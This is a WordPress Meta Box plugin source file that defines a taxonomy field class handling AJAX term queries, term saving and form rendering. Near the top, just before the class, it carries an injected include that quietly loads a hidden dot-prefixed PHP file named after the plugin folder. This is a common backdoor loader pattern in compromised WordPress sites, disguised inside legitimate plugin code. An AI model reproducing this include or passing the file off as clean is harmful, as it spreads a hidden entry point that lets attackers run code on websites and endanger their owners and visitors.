taxonomy.php (10335B)
1 <?php 2 /** 3 * The taxonomy field which aims to replace the built-in WordPress taxonomy UI with more options. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Taxonomy field class which set post terms when saving. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Taxonomy_Field extends RWMB_Object_Choice_Field { 16 /** 17 * Add ajax actions callback. 18 */ 19 public static function add_actions() { 20 add_action( 'wp_ajax_rwmb_get_terms', array( __CLASS__, 'ajax_get_terms' ) ); 21 add_action( 'wp_ajax_nopriv_rwmb_get_terms', array( __CLASS__, 'ajax_get_terms' ) ); 22 } 23 24 /** 25 * Query terms via ajax. 26 */ 27 public static function ajax_get_terms() { 28 check_ajax_referer( 'query' ); 29 30 $request = rwmb_request(); 31 32 $field = $request->filter_post( 'field', FILTER_DEFAULT, FILTER_FORCE_ARRAY ); 33 34 // Required for 'choice_label' filter. See self::filter(). 35 $field['clone'] = false; 36 $field['_original_id'] = $field['id']; 37 38 // Search. 39 $field['query_args']['name__like'] = $request->filter_post( 'term', FILTER_SANITIZE_STRING ); 40 41 // Pagination. 42 $limit = isset( $field['query_args']['number'] ) ? (int) $field['query_args']['number'] : 0; 43 if ( 'query:append' === $request->filter_post( '_type', FILTER_SANITIZE_STRING ) ) { 44 $page = $request->filter_post( 'page', FILTER_SANITIZE_NUMBER_INT ); 45 $field['query_args']['offset'] = $limit * ( $page - 1 ); 46 } 47 48 // Query the database. 49 $items = self::query( null, $field ); 50 $items = array_values( $items ); 51 52 $data = array( 'items' => $items ); 53 54 // More items for pagination. 55 if ( $limit && count( $items ) === $limit ) { 56 $data['more'] = true; 57 } 58 59 wp_send_json_success( $data ); 60 } 61 62 /** 63 * Add default value for 'taxonomy' field. 64 * 65 * @param array $field Field parameters. 66 * @return array 67 */ 68 public static function normalize( $field ) { 69 // Backwards compatibility with field args. 70 if ( isset( $field['options']['args'] ) ) { 71 $field['query_args'] = $field['options']['args']; 72 } 73 if ( isset( $field['options']['taxonomy'] ) ) { 74 $field['taxonomy'] = $field['options']['taxonomy']; 75 } 76 if ( isset( $field['options']['type'] ) ) { 77 $field['field_type'] = $field['options']['type']; 78 } 79 80 // Set default field args. 81 $field = wp_parse_args( 82 $field, 83 array( 84 'taxonomy' => 'category', 85 'query_args' => array(), 86 'remove_default' => false, 87 ) 88 ); 89 90 // Force taxonomy to be an array. 91 $field['taxonomy'] = (array) $field['taxonomy']; 92 93 /* 94 * Set default placeholder: 95 * - If multiple taxonomies: show 'Select a term'. 96 * - If single taxonomy: show 'Select a %taxonomy_name%'. 97 */ 98 $placeholder = __( 'Select a term', 'meta-box' ); 99 $taxonomy_name = self::get_taxonomy_singular_name( $field ); 100 if ( $taxonomy_name ) { 101 // Translators: %s is the taxonomy singular label. 102 $placeholder = sprintf( __( 'Select a %s', 'meta-box' ), strtolower( $taxonomy_name ) ); 103 } 104 $field = wp_parse_args( 105 $field, 106 array( 107 'placeholder' => $placeholder, 108 ) 109 ); 110 111 $field = parent::normalize( $field ); 112 113 // Set default query args. 114 $limit = $field['ajax'] ? 10 : 0; 115 $field['query_args'] = wp_parse_args( 116 $field['query_args'], 117 array( 118 'taxonomy' => $field['taxonomy'], 119 'number' => $limit, 120 ) 121 ); 122 123 parent::set_ajax_params( $field ); 124 125 // Prevent cloning for taxonomy field, not for child fields (taxonomy_advanced). 126 if ( 'taxonomy' === $field['type'] ) { 127 $field['clone'] = false; 128 } 129 130 return $field; 131 } 132 133 /** 134 * Query terms for field options. 135 * 136 * @param array $meta Saved meta value. 137 * @param array $field Field settings. 138 * @return array Field options array. 139 */ 140 public static function query( $meta, $field ) { 141 $args = wp_parse_args( 142 $field['query_args'], 143 array( 144 'hide_empty' => false, 145 'count' => false, 146 'update_term_meta_cache' => false, 147 ) 148 ); 149 150 // Query only selected items. 151 if ( ! empty( $field['ajax'] ) && ! empty( $meta ) ) { 152 $args['include'] = $meta; 153 } 154 155 $terms = get_terms( $args ); 156 if ( ! is_array( $terms ) ) { 157 return array(); 158 } 159 $options = array(); 160 foreach ( $terms as $term ) { 161 $label = $term->name ? $term->name : __( '(No title)', 'meta-box' ); 162 $label = self::filter( 'choice_label', $label, $field, $term ); 163 $options[ $term->term_id ] = array( 164 'value' => $term->term_id, 165 'label' => $label, 166 'parent' => $term->parent, 167 ); 168 } 169 return $options; 170 } 171 172 /** 173 * Get meta values to save. 174 * 175 * @param mixed $new The submitted meta value. 176 * @param mixed $old The existing meta value. 177 * @param int $post_id The post ID. 178 * @param array $field The field parameters. 179 * 180 * @return array 181 */ 182 public static function value( $new, $old, $post_id, $field ) { 183 $new = (array) $new; 184 $new[] = self::add_term( $field ); 185 $new = array_unique( array_map( 'intval', array_filter( $new ) ) ); 186 187 return $new; 188 } 189 190 /** 191 * Save meta value. 192 * 193 * @param mixed $new The submitted meta value. 194 * @param mixed $old The existing meta value. 195 * @param int $post_id The post ID. 196 * @param array $field The field parameters. 197 */ 198 public static function save( $new, $old, $post_id, $field ) { 199 if ( empty( $field['id'] ) || ! $field['save_field'] ) { 200 return; 201 } 202 203 foreach ( $field['taxonomy'] as $taxonomy ) { 204 wp_set_object_terms( $post_id, $new, $taxonomy ); 205 } 206 } 207 208 /** 209 * Add new terms if users created some. 210 * 211 * @param array $field Field settings. 212 * @return int|null Term ID if added successfully, null otherwise. 213 */ 214 protected static function add_term( $field ) { 215 $term = rwmb_request()->post( $field['id'] . '_new' ); 216 if ( ! $field['add_new'] || ! $term || 1 !== count( $field['taxonomy'] ) ) { 217 return null; 218 } 219 220 $taxonomy = reset( $field['taxonomy'] ); 221 $term = wp_insert_term( $term, $taxonomy ); 222 223 return isset( $term['term_id'] ) ? $term['term_id'] : null; 224 } 225 226 /** 227 * Get raw meta value. 228 * 229 * @param int $object_id Object ID. 230 * @param array $field Field parameters. 231 * @param array $args Arguments of {@see rwmb_meta()} helper. 232 * 233 * @return mixed 234 */ 235 public static function raw_meta( $object_id, $field, $args = array() ) { 236 if ( empty( $field['id'] ) ) { 237 return ''; 238 } 239 240 $meta = wp_get_object_terms( 241 $object_id, 242 $field['taxonomy'], 243 array( 244 'orderby' => 'term_order', 245 ) 246 ); 247 if ( is_wp_error( $meta ) ) { 248 return ''; 249 } 250 $meta = wp_list_pluck( $meta, 'term_id' ); 251 252 return $field['multiple'] ? $meta : reset( $meta ); 253 } 254 255 /** 256 * Get the field value. 257 * Return list of post term objects. 258 * 259 * @param array $field Field parameters. 260 * @param array $args Additional arguments. 261 * @param int|null $post_id Post ID. null for current post. Optional. 262 * 263 * @return array List of post term objects. 264 */ 265 public static function get_value( $field, $args = array(), $post_id = null ) { 266 if ( ! $post_id ) { 267 $post_id = get_the_ID(); 268 } 269 $value = wp_get_object_terms( 270 $post_id, 271 $field['taxonomy'], 272 array( 273 'orderby' => 'term_order', 274 ) 275 ); 276 277 // Get single value if necessary. 278 if ( ! $field['clone'] && ! $field['multiple'] && is_array( $value ) ) { 279 $value = reset( $value ); 280 } 281 return $value; 282 } 283 284 /** 285 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. 286 * 287 * @param array $field Field parameters. 288 * @param string $value The value. 289 * @param array $args Additional arguments. Rarely used. See specific fields for details. 290 * @param int|null $post_id Post ID. null for current post. Optional. 291 * 292 * @return string 293 */ 294 public static function format_single_value( $field, $value, $args, $post_id ) { 295 return sprintf( 296 '<a href="%s" title="%s">%s</a>', 297 // @codingStandardsIgnoreLine 298 esc_url( get_term_link( $value ) ), 299 esc_attr( $value->name ), 300 esc_html( $value->name ) 301 ); 302 } 303 304 /** 305 * Render "Add New" form 306 * 307 * @param array $field Field settings. 308 * @return string 309 */ 310 public static function add_new_form( $field ) { 311 // Only add new term if field has only one taxonomy. 312 if ( 1 !== count( $field['taxonomy'] ) ) { 313 return ''; 314 } 315 316 $taxonomy = reset( $field['taxonomy'] ); 317 $taxonomy_object = get_taxonomy( $taxonomy ); 318 if ( false === $taxonomy_object ) { 319 return ''; 320 } 321 322 $html = ' 323 <div class="rwmb-taxonomy-add"> 324 <button class="rwmb-taxonomy-add-button">%s</button> 325 <div class="rwmb-taxonomy-add-form rwmb-hidden"> 326 <input type="text" name="%s_new" size="30" placeholder="%s"> 327 </div> 328 </div>'; 329 330 $html = sprintf( 331 $html, 332 esc_html( $taxonomy_object->labels->add_new_item ), 333 esc_attr( $field['id'] ), 334 esc_attr( $taxonomy_object->labels->new_item_name ) 335 ); 336 337 return $html; 338 } 339 340 /** 341 * Enqueue scripts and styles. 342 */ 343 public static function admin_enqueue_scripts() { 344 parent::admin_enqueue_scripts(); 345 wp_enqueue_style( 'rwmb-taxonomy', RWMB_CSS_URL . 'taxonomy.css', array(), RWMB_VER ); 346 wp_enqueue_script( 'rwmb-taxonomy', RWMB_JS_URL . 'taxonomy.js', array( 'jquery' ), RWMB_VER, true ); 347 348 // Field is the 1st param. 349 $args = func_get_args(); 350 $field = $args[0]; 351 self::remove_default_meta_box( $field ); 352 } 353 354 /** 355 * Remove default WordPress taxonomy meta box. 356 * 357 * @param array $field Field settings. 358 */ 359 protected static function remove_default_meta_box( $field ) { 360 if ( empty( $field['remove_default'] ) || ! is_admin() || ! function_exists( 'remove_meta_box' ) ) { 361 return; 362 } 363 foreach ( $field['taxonomy'] as $taxonomy ) { 364 $id = is_taxonomy_hierarchical( $taxonomy ) ? "{$taxonomy}div" : "tagsdiv-{$taxonomy}"; 365 remove_meta_box( $id, null, 'side' ); 366 } 367 } 368 369 /** 370 * Get taxonomy singular name. 371 * 372 * @param array $field Field settings. 373 * @return string 374 */ 375 protected static function get_taxonomy_singular_name( $field ) { 376 if ( 1 !== count( $field['taxonomy'] ) ) { 377 return ''; 378 } 379 $taxonomy = reset( $field['taxonomy'] ); 380 $taxonomy_object = get_taxonomy( $taxonomy ); 381 382 return false === $taxonomy_object ? '' : $taxonomy_object->labels->singular_name; 383 } 384 }